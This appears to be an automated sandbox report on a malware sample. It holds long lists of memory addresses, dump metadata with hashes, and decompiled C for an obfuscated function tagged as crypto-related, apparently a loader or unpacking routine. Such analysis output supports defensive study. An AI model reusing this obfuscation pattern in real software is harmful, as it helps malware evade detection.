0x031e595b
0x031e596f
0x031e5970
0x031e5977
0x031e597b
0x031e597e
0x031e5987
0x031e598a
0x031e5996
0x031e599d
0x031e59a3
0x031e59a4
0x031e59a5
0x031e59a8
0x031e59ab
0x031e59ae
0x031e59b4
0x031e59bb
0x031e59be
0x031e59c7
0x031e59ca
0x031e59d2
0x031e59d9
0x031e59df
0x031e59e2
0x031e59e5
0x031e59e8
0x031e59ef
0x031e59f3
0x031e59f6
0x031e59ff
0x031e5a02
0x031e5a08
0x031e5a10
0x031e5a17
0x031e5a1d
0x031e5a1d
0x031e5aea
0x031e5af8
0x031e5afb
0x031e5b01
0x031e5b0b
0x031e5b0e
0x031e5b17
0x031e5b1a
0x031e5b23
0x031e5b26
0x031e5b35
0x031e5b3a
0x031e5b3e
0x031e5b41
0x031e5b43
0x031e5b44
0x031e5b4f
0x031e5b51
0x031e5b56
0x031e5b58
0x031e5b5f
0x031e5b63
0x031e5b66
0x031e5b6c
0x031e5b73
0x031e5b76
0x031e5b76
0x031e5b7d
0x031e5b83
0x031e5b8e
0x031e5b92
0x031e5b93
0x031e5b9c
0x031e5b9f
0x031e5ba5
0x031e5baf
0x031e5bb2
0x031e5bbe
0x031e5bc5
0x031e5bcb
0x031e5bcc
0x031e5bda
0x031e5bde
0x031e5be1
0x031e5be4
0x031e5beb
0x031e5bee
0x031e5bf1
0x031e5bf7
0x031e5bfe
0x031e5c01
0x031e5c07
0x031e5c0f
0x031e5c16
0x031e5c1c
0x031e5c28
0x031e5c2b
0x031e5c35
0x031e5c38
0x031e5c3e
0x031e5c48
0x031e5c4b
0x031e5c52
0x031e5c56
0x031e5c59
0x031e5c65
0x031e5c6c
0x031e5c72
0x031e5c73
0x031e5c79
0x031e5c83
0x031e5c86
0x031e5c8c
0x031e5c96
0x031e5c99
0x031e5c9f
0x031e5ca9
0x031e5cac
0x031e5cb2
0x031e5cbc
0x031e5cbf
0x031e5ccb
0x031e5cce
0x031e5cd5
0x031e5cd8
0x031e5cdb
0x031e5cde
0x031e5cdf
0x031e5ce0
0x031e5cef
0x031e5cf1
0x031e5cf6
0x031e5cf8
0x031e5cff
0x031e5d03
0x031e5d06
0x031e5d0c
0x031e5d16
0x031e5d19
0x031e5d25
0x031e5d2c
0x031e5d32
0x031e5d32
0x031e5d3c
0x031e5d40
0x031e5d43
0x031e5d48
0x031e5d52
0x031e5d55
0x031e5d5c
0x031e5d5e
0x031e5d61
0x031e5d68
0x031e5d6f
0x031e5d74
0x031e5d77
0x031e5d7a
0x031e5d7d
0x031e5d7e
0x031e5d85
0x031e5d88
0x031e5d8b
0x031e5d8e
0x031e5d91
0x031e5d92
0x031e5da4
0x031e5da6
0x031e5daa
0x031e5314
0x00000000
0x031e531a
0x031e531a
0x031e5320
0x031e532a
0x031e532d
0x031e5333
0x031e533a
0x031e5343
0x031e5346
0x031e5349
0x031e534c
0x031e534d
0x031e5356
0x031e5359
0x031e5365
0x031e536c
0x031e5372
0x031e5372
0x031e5445
0x031e5445
0x031e5448
0x031e544f
0x031e5452
0x031e5455
0x031e545d
0x031e5464
0x031e546a
0x031e546b
0x031e546e
0x031e5477
0x031e547a
0x031e5480
0x031e5487
0x031e548a
0x031e5491
0x031e5495
0x031e5498
0x031e54a0
0x031e54a3
0x031e54aa
0x031e54ad
0x031e54b0
0x031e54b3
0x031e54b4
0x031e54b5
0x031e54c4
0x031e54c6
0x031e54cb
0x031e54cd
0x031e54d6
0x031e54d9
0x031e54df
0x031e54e6
0x031e54e9
0x031e54e9
0x031e54ef
0x031e54f7
0x031e54fe
0x031e5504
0x031e5507
0x031e5515
0x031e5519
0x031e551d
0x031e5520
0x031e5527
0x031e552b
0x031e552e
0x031e5535
0x031e5539
0x031e553c
0x031e5542
0x031e554a
0x031e5551
0x031e5557
0x031e555a
0x031e5562
0x031e5565
0x031e5568
0x031e556b
0x031e556e
0x031e556f
0x031e5576
0x031e5579
0x031e557c
0x031e5582
0x031e558c
0x031e5595
0x031e5596
0x031e5599
0x031e559c
0x031e55a2
0x031e55a5
0x031e55a8
0x031e55ab
0x031e55ad
0x031e55b1
0x031e55b4
0x031e55bb
0x031e55be
0x031e55c1
0x031e55c7
0x031e55cf
0x031e55d6
0x031e55dc
0x031e55e8
0x031e55eb
0x031e55ed
0x031e55f0
0x031e55f1
0x031e55fb
0x031e55fe
0x031e5607
0x031e560a
0x031e5611
0x031e5614
0x031e5617
0x031e561d
0x031e5624
0x031e5627
0x031e562f
0x031e5632
0x031e5635
0x031e563c
0x031e563d
0x031e5640
0x031e564e
0x031e5650
0x031e5653
0x031e5655
0x031e565b
0x031e5662
0x031e5665
0x031e566b
0x031e5675
0x031e5678
0x031e567e
0x031e5685
0x031e568b
0x031e568b
0x031e5694
0x031e569c
0x031e56a0
0x031e56a4
0x031e56a6
0x031e56a8
0x031e56ac
0x031e56af
0x031e56b8
0x031e56bb
0x031e56c2
0x031e56c6
0x031e56c9
0x031e56cf
0x031e56d6
0x031e56dc
0x031e56e1
0x031e56e4
0x031e56e8
0x031e56eb
0x031e56ee
0x031e56f4
0x031e56fe
0x031e5701
0x031e5707
0x031e570f
0x031e5716
0x031e571f
0x031e5725
0x031e572f
0x031e5732
0x031e5738
0x031e5742
0x031e5745
0x031e574b
0x031e5753
0x031e575a
0x031e5760
0x031e576c
0x031e576f
0x031e5777
0x031e577b
0x031e577e
0x031e5781
0x031e578a
0x031e578d
0x031e5794
0x031e5797
0x031e579a
0x031e57a0
0x031e57a7
0x031e57ad
0x00000000
0x031e57ad
0x031e5dbb
0x031e5dbe
0x031e5dd0
0x031e5dd0
0x031e5441

Memory Dump Source

Source File: 00000005.00000002.230965320.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a651931a01c3be3bd58236517675960697cf91adc10e4db860c8d0544b250d
Instruction ID: 8961466a413318bad206194acbd1449bfdb012a3105287bf0b43f2ce5d024fbd
Opcode Fuzzy Hash: 86a651931a01c3be3bd58236517675960697cf91adc10e4db860c8d0544b250d
Instruction Fuzzy Hash: 63725472844219DFEF04DFA0C9897EEBBF1FF08310F19486ED889AA145D7345664CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 031E31B3, Relevance: .6, Instructions: 646
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E031E31B3(signed int __ebx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t312;
				void* _t314;
				signed int _t315;
				signed int _t318;
				signed int _t321;
				void* _t323;
				void* _t327;
				void* _t331;
				void* _t333;
				void* _t334;
				signed int _t335;
				signed int _t337;
				void* _t339;
				void* _t340;
				signed int _t345;
				signed int _t348;
				void* _t350;
				void* _t351;
				signed int _t355;
				void* _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t361;
				signed int _t365;
				signed int _t371;
				signed int _t373;
				void* _t378;
				void* _t380;
				signed int _t383;
				signed int _t386;
				intOrPtr _t390;
				signed int _t396;
				signed int _t398;
				signed int _t402;
				signed int _t405;
				void* _t408;
				void* _t410;
				signed int _t416;
				intOrPtr _t421;
				signed int _t426;
				intOrPtr _t429;
				intOrPtr _t434;
				signed int _t437;
				void* _t442;
				void* _t444;
				signed int _t446;
				signed int _t448;
				signed int _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int _t463;
				signed int _t465;
				signed int _t468;
				signed int _t473;
				signed int _t480;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t500;
				signed int _t502;
				signed int _t505;
				signed int _t507;
				signed int _t510;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t522;
				signed int _t525;
				signed int _t531;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				void* _t541;
				signed int _t543;
				signed int _t546;
				void* _t553;
				signed int _t555;
				signed int _t557;
				signed int _t560;
				signed int _t563;
				signed int _t566;
				void* _t570;
				signed int _t573;
				void* _t574;
				signed int _t576;
				signed int _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;
				signed int* _t584;
				signed int* _t585;
				signed int* _t586;
				signed int* _t587;
				signed int* _t588;
				signed int* _t589;
				signed int* _t590;
				signed int* _t591;
				signed int* _t592;
				signed int* _t593;
				signed int* _t594;
				signed int* _t596;

				_t531 = __edi;
				_t500 = __edx;
				_t437 = __ebx;
				_t1 = _t437 + 0x41c972; // 0x41c972
				_push(_v16);
				 *_t580 = _t1;
				_t312 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t573);
				 *_t580 =  *_t580 - _t573;
				 *_t580 = _t312;
				_t4 = _t437 + 0x41c726; // 0x41c726
				_v12 = 0;
				_push(_v12);
				 *_t580 =  *_t580 | _t4;
				_t314 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t446 =  *_t580;
				_t581 =  &(_t580[1]);
				 *_t581 =  *_t581 + __esi;
				_t553 = _t314;
				_t315 = _t553 + _t446;
				_t555 = 0;
				_v16 = _t315;
				_t448 = _t446 & 0x00000000 | _t315 & 0x00000000 |  *(__ebx + 0x41c68d);
				_t318 = _v16;
				if(_t448 > _t318) {
					_t11 = _t437 + 0x41c972; // 0x41c972
					_v16 = 0;
					_push(_v16);
					 *_t581 =  *_t581 | _t11;
					_t14 = _t437 + 0x41c726; // 0x41c726
					_push(_t573);
					 *_t581 =  *_t581 - _t573;
					 *_t581 =  *_t581 ^ _t14;
					_t318 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				_v12 = _t531;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) & 0x00000000;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) | _t531 & 0x00000000 ^ _t318;
				_t534 = _v12;
				_t22 = _t437 + 0x41d2f2; // 0x41d2f2
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 + _t22;
				_t23 = _t437 + 0x41d08b; // 0x41d08b
				_v12 = _v12 & 0x00000000;
				 *_t581 =  *_t581 | _t23;
				_t321 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _t500);
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t321;
				_t28 = _t437 + 0x41c1f0; // 0x41c1f0
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t28;
				_t323 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555);
				 *_t30 = _t448;
				 *_t581 =  *_t581 | _t573;
				_t574 = _t323;
				_t576 = 0;
				 *_t581 = _t574 + _v8;
				_t450 =  *(_t437 + 0x41c529);
				_t327 = 0;
				if(_t450 > _t327) {
					_t33 = _t437 + 0x41d08b; // 0x41d08b
					 *_t581 =  *_t581 ^ _t500;
					 *_t581 =  *_t581 ^ _t33;
					_t34 = _t437 + 0x41c1f0; // 0x41c1f0
					_v16 = 0;
					 *_t581 =  *_t581 | _t34;
					_t434 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _t500);
					_v16 = _t450;
					 *((intOrPtr*)(_t437 + 0x41cd05)) = _t434;
					_t450 = _v16;
				}
				_t582 = _t581 - 0xfffffffc;
				 *_t582 =  *_t582 ^ _t576;
				 *_t582 =  *_t582 +  *_t581;
				_t41 = _t437 + 0x41d1b0; // 0x41d1b0
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t41;
				_t331 =  *((intOrPtr*)(_t437 + 0x41f060))(_t576, _t576);
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t331;
				_t43 = _t437 + 0x41c2f3; // 0x41c2f3
				 *_t582 =  *_t582 ^ _t555;
				 *_t582 =  *_t582 ^ _t43;
				_t333 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555, _t500);
				_t452 = _t450 & 0x00000000 ^  *_t582;
				_t583 =  &(_t582[1]);
				 *_t45 = _t333;
				_v8 = _v8 + _t452;
				_push(_v8);
				_pop(_t334);
				_t502 = _t500;
				_v16 = _t502;
				_t454 = _t452 & 0x00000000 | _t502 & 0x00000000 |  *(_t437 + 0x41c51d);
				_t505 = _v16;
				if(_t454 > _t334) {
					_t52 = _t437 + 0x41d1b0; // 0x41d1b0
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 ^ _t52;
					_t53 = _t437 + 0x41c2f3; // 0x41c2f3
					 *_t583 =  *_t583 - _t454;
					 *_t583 = _t53;
					_t334 =  *((intOrPtr*)(_t437 + 0x41f064))(_t454, _t505);
				}
				 *_t55 = _t334;
				_push(_v16);
				_pop( *_t57);
				_t335 =  *((intOrPtr*)(_t437 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t583 =  *_t583 ^ _t335;
				_t62 = _t437 + 0x41c0f2; // 0x41c0f2
				 *_t583 =  *_t583 - _t505;
				 *_t583 = _t62;
				_t337 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				 *_t583 = _t337;
				_t65 = _t437 + 0x41cfb1; // 0x41cfb1
				 *_t583 = _t65;
				_t339 =  *((intOrPtr*)(_t437 + 0x41f060))(_v8, _v16);
				_t584 = _t583 - 0xfffffffc;
				 *_t68 = _t339;
				_v16 = _v16 + (_t454 & 0x00000000 |  *_t583);
				_push(_v16);
				_pop(_t340);
				_t557 = _t555;
				_v8 = _t557;
				_t457 = 0 ^  *(_t437 + 0x41cba2);
				_t560 = _v8;
				if(_t457 > _t340) {
					_t75 = _t437 + 0x41c0f2; // 0x41c0f2
					_v16 = _v16 & 0x00000000;
					 *_t584 =  *_t584 ^ _t75;
					_t79 = _t437 + 0x41cfb1; // 0x41cfb1
					_v8 = _v8 & 0x00000000;
					 *_t584 =  *_t584 ^ _t79;
					_t429 =  *((intOrPtr*)(_t437 + 0x41f064))(_v8, _v16);
					_v8 = _t505;
					 *((intOrPtr*)(_t437 + 0x41cbd5)) = _t429;
					_t505 = _v8;
				}
				_pop( *_t87);
				 *_t584 =  *_t584 - _t534;
				 *_t584 =  *_t584 ^ 0 ^ _v8;
				_t89 = _t437 + 0x41cdc3; // 0x41cdc3
				_v8 = 0;
				 *_t584 =  *_t584 + _t89;
				_t92 = _t437 + 0x41c7d0; // 0x41c7d0
				_v16 = 0;
				 *_t584 =  *_t584 | _t92;
				_t345 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _v8, _t534);
				_v12 = _t457;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) & 0x00000000;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) ^ (_t457 - _v12 | _t345);
				_t103 = _t437 + 0x41d16f; // 0x41d16f
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t103;
				_t107 = _t437 + 0x41cd88; // 0x41cd88
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t107;
				_t348 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t348;
				_t112 = _t437 + 0x41d272; // 0x41d272
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t112;
				_t350 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_t585 = _t584 - 0xfffffffc;
				 *_t114 = _t350;
				_v16 = _v16 + (_v12 & 0x00000000) +  *_t584;
				_push(_v16);
				_pop(_t351);
				_t507 = _t505;
				 *_t585 = _t507;
				_t463 =  *(_t437 + 0x41c389);
				_t510 = 0;
				if(_t463 > _t351) {
					_t119 = _t437 + 0x41cd88; // 0x41cd88
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t119;
					_t120 = _t437 + 0x41d272; // 0x41d272
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t120;
					_t426 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _t463);
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) & 0x00000000;
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) | _t463 & 0x00000000 | _t426;
					_t463 = _t463;
				}
				_t586 = _t585 - 0xfffffffc;
				 *_t586 = 0 ^  *_t585;
				_t127 = _t437 + 0x41cb2c; // 0x41cb2c
				 *_t586 =  *_t586 ^ _t437;
				 *_t586 =  *_t586 | _t127;
				_t355 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_v8 = 0;
				 *_t586 =  *_t586 ^ _t355;
				_t131 = _t437 + 0x41ca15; // 0x41ca15
				_v12 = _v12 & 0x00000000;
				 *_t586 =  *_t586 | _t131;
				_t357 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8);
				_t465 =  *_t586;
				_t587 = _t586 - 0xfffffffc;
				_v8 = _t534;
				_push(_t465 + _t357);
				_t537 = _v8;
				_pop(_t358);
				_t540 = _t537;
				if((_t465 & 0x00000000 | _t537 & 0x00000000 ^  *(_t437 + 0x41c82d)) > _t358) {
					_t139 = _t437 + 0x41cb2c; // 0x41cb2c
					_v16 = _v16 & 0x00000000;
					 *_t587 =  *_t587 + _t139;
					_t143 = _t437 + 0x41ca15; // 0x41ca15
					 *_t587 =  *_t587 & 0x00000000;
					 *_t587 =  *_t587 + _t143;
					_t358 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _v16);
				}
				_v12 = _t560;
				 *((intOrPtr*)(_t437 + 0x41c92d)) = _t358;
				_t563 = _v12;
				_t359 =  *((intOrPtr*)(_t437 + 0x41f060))();
				 *_t587 =  *_t587 & 0x00000000;
				 *_t587 =  *_t587 | _t359;
				_t149 = _t437 + 0x41c69d; // 0x41c69d
				_v16 = 0;
				 *_t587 =  *_t587 | _t149;
				_t361 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _t563);
				_v12 = _t510;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) & 0x00000000;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) | _t510 - _v12 | _t361;
				_t588 =  &(_t587[1]);
				_pop( *_t160);
				_t468 = _v16;
				 *_t588 = (_t361 & 0x00000000) +  *_t587;
				 *_t588 = _t468;
				_t164 = _t437 + 0x41c2d3; // 0x41c2d3
				_v16 = _v16 & 0x00000000;
				 *_t588 =  *_t588 | _t164;
				_t365 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12, _v8);
				_v12 = _t468;
				 *(_t437 + 0x41d1f2) = _t365;
				_pop( *_t172);
				_t473 = _v12 & 0x00000000 | _v8;
				_pop( *_t174);
				 *_t588 = _v12;
				_push(_t365 & 0x00000000 ^ _v16);
				_pop(_t514);
				_t516 = 0;
				_v8 = 0;
				 *_t588 =  *_t588 | _t514 + _t473;
				_t178 = _t437 + 0x41d35c; // 0x41d35c
				 *_t588 = _t178;
				_t180 = _t437 + 0x41cffa; // 0x41cffa
				 *_t588 =  *_t588 ^ _t576;
				 *_t588 = _t180;
				_t371 =  *((intOrPtr*)(_t437 + 0x41f068))(_t576, _v12, _v8);
				_v12 = _t516;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) & 0x00000000;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) | _t516 - _v12 | _t371;
				_t519 = _v12;
				_t373 = 0 ^  *_t588;
				_t589 =  &(_t588[1]);
				_v8 = _t373;
				_v12 = 0;
				 *_t589 =  *_t589 + _v8;
				 *_t589 = _t473 & 0x00000000 ^ (_t373 - _v8 |  *(_t437 + 0x41d1e6));
				_t196 = _t437 + 0x41c887; // 0x41c887
				 *_t589 = _t196;
				_t378 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8, _v12);
				_v12 = _v12 & 0x00000000;
				 *_t589 =  *_t589 + _t378;
				_t202 = _t437 + 0x41c411; // 0x41c411
				_v16 = 0;
				 *_t589 =  *_t589 + _t202;
				_t380 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12);
				_t590 = _t589 - 0xfffffffc;
				 *_t590 =  *_t590 ^ _t540;
				_t541 = _t380;
				_t543 = 0;
				_v12 = _t563;
				_t566 = _v12;
				if((0 ^  *(_t437 + 0x41c39d)) > _t541 +  *_t589) {
					_t209 = _t437 + 0x41c887; // 0x41c887
					 *_t590 =  *_t590 & 0x00000000;
					 *_t590 =  *_t590 | _t209;
					_t210 = _t437 + 0x41c411; // 0x41c411
					_v12 = _v12 & 0x00000000;
					 *_t590 =  *_t590 | _t210;
					_t421 =  *((intOrPtr*)(_t437 + 0x41f064))(_v12, _t576);
					 *_t590 = _t543;
					 *((intOrPtr*)(_t437 + 0x41c9b5)) = _t421;
					_t543 = 0;
				}
				_t480 = 0 ^  *_t590;
				_t591 =  &(_t590[1]);
				_t383 =  *_t591;
				_t592 =  &(_t591[1]);
				if(_t480 > _t383) {
					_t216 = _t437 + 0x41d2f2; // 0x41d2f2
					_v16 = _v16 & 0x00000000;
					 *_t592 =  *_t592 ^ _t216;
					_t220 = _t437 + 0x41d16f; // 0x41d16f
					_v16 = 0;
					 *_t592 =  *_t592 ^ _t220;
					_t383 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _v16);
				}
				 *_t592 = _t576;
				 *(_t437 + 0x41c0d6) = 0 ^ _t383;
				_t579 = 0;
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t566;
				_t228 = _t437 + 0x41cd35; // 0x41cd35
				 *_t592 =  *_t592 ^ _t480;
				 *_t592 =  *_t592 + _t228;
				_t229 = _t437 + 0x41ca62; // 0x41ca62
				_v16 = 0;
				 *_t592 =  *_t592 + _t229;
				_t386 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t480, _v12);
				_v16 = _t543;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) & 0x00000000;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) ^ (_t543 - _v16 | _t386);
				_t546 = _v16;
				_t483 = _t480;
				_v12 = 0;
				 *_t592 =  *_t592 | _t386 & 0x00000000 ^ (_t480 & 0x00000000 | _a4);
				_t243 = _t437 + 0x41c84c; // 0x41c84c
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t243;
				_t390 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v12);
				_v16 = _t519;
				 *((intOrPtr*)(_t437 + 0x41d2c7)) = _t390;
				_t522 = _v16;
				_t593 = _t592 - 0xfffffffc;
				 *_t593 =  *_t593 - _t437;
				 *_t593 =  *_t592 - 1;
				_t251 = _t437 + 0x41ceef; // 0x41ceef
				_v16 = 0;
				 *_t593 =  *_t593 | _t251;
				_t254 = _t437 + 0x41c9c8; // 0x41c9c8
				 *_t593 =  *_t593 - _t522;
				 *_t593 = _t254;
				_t396 =  *((intOrPtr*)(_t437 + 0x41f068))(_t522, _v16, _t437);
				_v16 = _t522;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) & 0x00000000;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) | _t522 ^ _v16 | _t396;
				_t525 = _v16;
				_t398 =  *_t593;
				_t594 = _t593 - 0xfffffffc;
				if(_t398 > 0) {
					if(_a12 != 0) {
						_t402 = _t398;
						 *_t301 = _t483 & 0x00000000 | _t398 ^  *_t594 ^ _a12;
						_v12 = _v12 + _t402;
						_push(_v12);
						_pop(_t486);
						_t570 = _t566;
						 *_t594 =  *_t594 ^ _t486;
						_t487 = _t437;
						_t488 = _t487 & _a8;
						 *_t306 = _t570;
						_v8 = _v8 + _t488;
						_push(_v8);
						_pop(_t566);
						_t437 = _t437;
						 *_t594 =  *_t594 & 0x00000000;
						 *_t594 =  *_t594 + _t566;
						 *_t594 =  *_t594 ^ _t579;
						 *_t594 =  *_t594 ^ _t488;
						 *_t594 = _t402;
						_t398 = E031E31B3(_t437, _t525, _t546, _t566, _v16, _t579, _t488);
					}
					_push(_t437);
					return _t398 ^ _t398;
				} else {
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 | _t398;
					_t263 = _t437 + 0x41cfc3; // 0x41cfc3
					_v16 = _v16 & 0x00000000;
					 *_t594 =  *_t594 ^ _t263;
					_t267 = _t437 + 0x41c769; // 0x41c769
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 ^ _t267;
					_t405 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t483);
					_v16 = _t483;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) & 0x00000000;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) ^ (_t483 & 0x00000000 | _t405);
					 *_t275 = _t525;
					_t596 = _t594 - 0xfffffffc;
					 *_t596 =  *_t596 - _t437;
					 *_t596 =  *_t596 | _v16;
					_t277 = _t437 + 0x41cd95; // 0x41cd95
					 *_t596 =  *_t596 ^ _t525;
					 *_t596 = _t277;
					_t408 =  *((intOrPtr*)(_t437 + 0x41f060))(_t525, _t437);
					 *_t596 =  *_t596 & 0x00000000;
					 *_t596 =  *_t596 + _t408;
					_t279 = _t437 + 0x41cbf8; // 0x41cbf8
					 *_t596 = _t279;
					_t410 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v16);
					_pop( *_t282);
					 *_t596 = _t437;
					_t442 = _t410;
					_t444 = 0;
					_push(_t546);
					if((0 + _v12 & 0x00000000 ^ (_t546 ^  *_t596 |  *(_t444 + 0x41c691))) > _t442 + 0 + _v12) {
						_t285 = _t444 + 0x41cd95; // 0x41cd95
						 *_t596 = _t285;
						_t287 = _t444 + 0x41cbf8; // 0x41cbf8
						_v12 = _v12 & 0x00000000;
						 *_t596 =  *_t596 | _t287;
						_t416 =  *((intOrPtr*)(_t444 + 0x41f064))(_v12, _v16);
						_v8 = _t525;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) & 0x00000000;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) | _t525 ^ _v8 | _t416;
					}
					return  *_t596;
				}
			}

0x031e31b3
0x031e31b3
0x031e31b3
0x031e31b9
0x031e31bf
0x031e31c2
0x031e31c5
0x031e31cb
0x031e31cc
0x031e31cf
0x031e31d2
0x031e31d8
0x031e31df
0x031e31e2
0x031e31e5
0x031e31ed
0x031e31f0
0x031e31f5
0x031e31f9
0x031e31fc
0x031e31fe
0x031e31ff
0x031e320e
0x031e3210
0x031e3215
0x031e3217
0x031e321d
0x031e3224
0x031e3227
0x031e322a
0x031e3230
0x031e3231
0x031e3234
0x031e3237
0x031e3237
0x031e323d
0x031e3245
0x031e324c
0x031e3252
0x031e3255
0x031e325c
0x031e3260
0x031e3263
0x031e3269
0x031e3270
0x031e3273
0x031e327a
0x031e327e
0x031e3281
0x031e3288
0x031e328c
0x031e328f
0x031e3295
0x031e329d
0x031e32a1
0x031e32a6
0x031e32a9
0x031e32b4
0x031e32b6
0x031e32b9
0x031e32bb
0x031e32c2
0x031e32c5
0x031e32c8
0x031e32ce
0x031e32d8
0x031e32db
0x031e32e1
0x031e32e8
0x031e32ee
0x031e32ee
0x031e32f6
0x031e32fa
0x031e32fd
0x031e3300
0x031e3307
0x031e330b
0x031e330e
0x031e3315
0x031e3319
0x031e331c
0x031e3323
0x031e3326
0x031e3329
0x031e3335
0x031e3338
0x031e333f
0x031e3342
0x031e3345
0x031e3348
0x031e3349
0x031e334a
0x031e3359
0x031e335b
0x031e3360
0x031e3362
0x031e3369
0x031e336d
0x031e3370
0x031e3377
0x031e337a
0x031e337d
0x031e337d
0x031e3384
0x031e3387
0x031e338a
0x031e3390
0x031e3396
0x031e339d
0x031e33a0
0x031e33a7
0x031e33aa
0x031e33ad
0x031e33b6
0x031e33b9
0x031e33c2
0x031e33c5
0x031e33d4
0x031e33db
0x031e33de
0x031e33e1
0x031e33e4
0x031e33e5
0x031e33e6
0x031e33f1
0x031e33f3
0x031e33f8
0x031e33fa
0x031e3400
0x031e3407
0x031e340a
0x031e3410
0x031e3417
0x031e341a
0x031e3420
0x031e3427
0x031e342d
0x031e342d
0x031e3432
0x031e3439
0x031e343c
0x031e343f
0x031e3445
0x031e344f
0x031e3452
0x031e3458
0x031e3462
0x031e3465
0x031e346b
0x031e3473
0x031e347a
0x031e3483
0x031e3489
0x031e3490
0x031e3493
0x031e349a
0x031e349e
0x031e34a1
0x031e34a7
0x031e34ae
0x031e34b1
0x031e34b8
0x031e34bc
0x031e34bf
0x031e34ce
0x031e34d5
0x031e34d8
0x031e34db
0x031e34de
0x031e34df
0x031e34e2
0x031e34ed
0x031e34ef
0x031e34f2
0x031e34f4
0x031e34fb
0x031e34ff
0x031e3502
0x031e3509
0x031e350d
0x031e3510
0x031e351c
0x031e3523
0x031e3529
0x031e3529
0x031e352f
0x031e3535
0x031e3538
0x031e353f
0x031e3542
0x031e3545
0x031e354b
0x031e3555
0x031e3558
0x031e355e
0x031e3565
0x031e3568
0x031e3574
0x031e3577
0x031e357a
0x031e3581
0x031e3582
0x031e3585
0x031e3595
0x031e3598
0x031e359a
0x031e35a0
0x031e35a7
0x031e35aa
0x031e35b1
0x031e35b5
0x031e35b8
0x031e35b8
0x031e35be
0x031e35c5
0x031e35cb
0x031e35ce
0x031e35d5
0x031e35d9
0x031e35dc
0x031e35e2
0x031e35ec
0x031e35ef
0x031e35f5
0x031e35fd
0x031e3604
0x031e3616
0x031e3619
0x031e361c
0x031e3622
0x031e3628
0x031e362b
0x031e3631
0x031e3638
0x031e363b
0x031e3641
0x031e3648
0x031e3657
0x031e365a
0x031e3663
0x031e366b
0x031e366e
0x031e366f
0x031e3674
0x031e3675
0x031e367f
0x031e3682
0x031e368b
0x031e368e
0x031e3695
0x031e3698
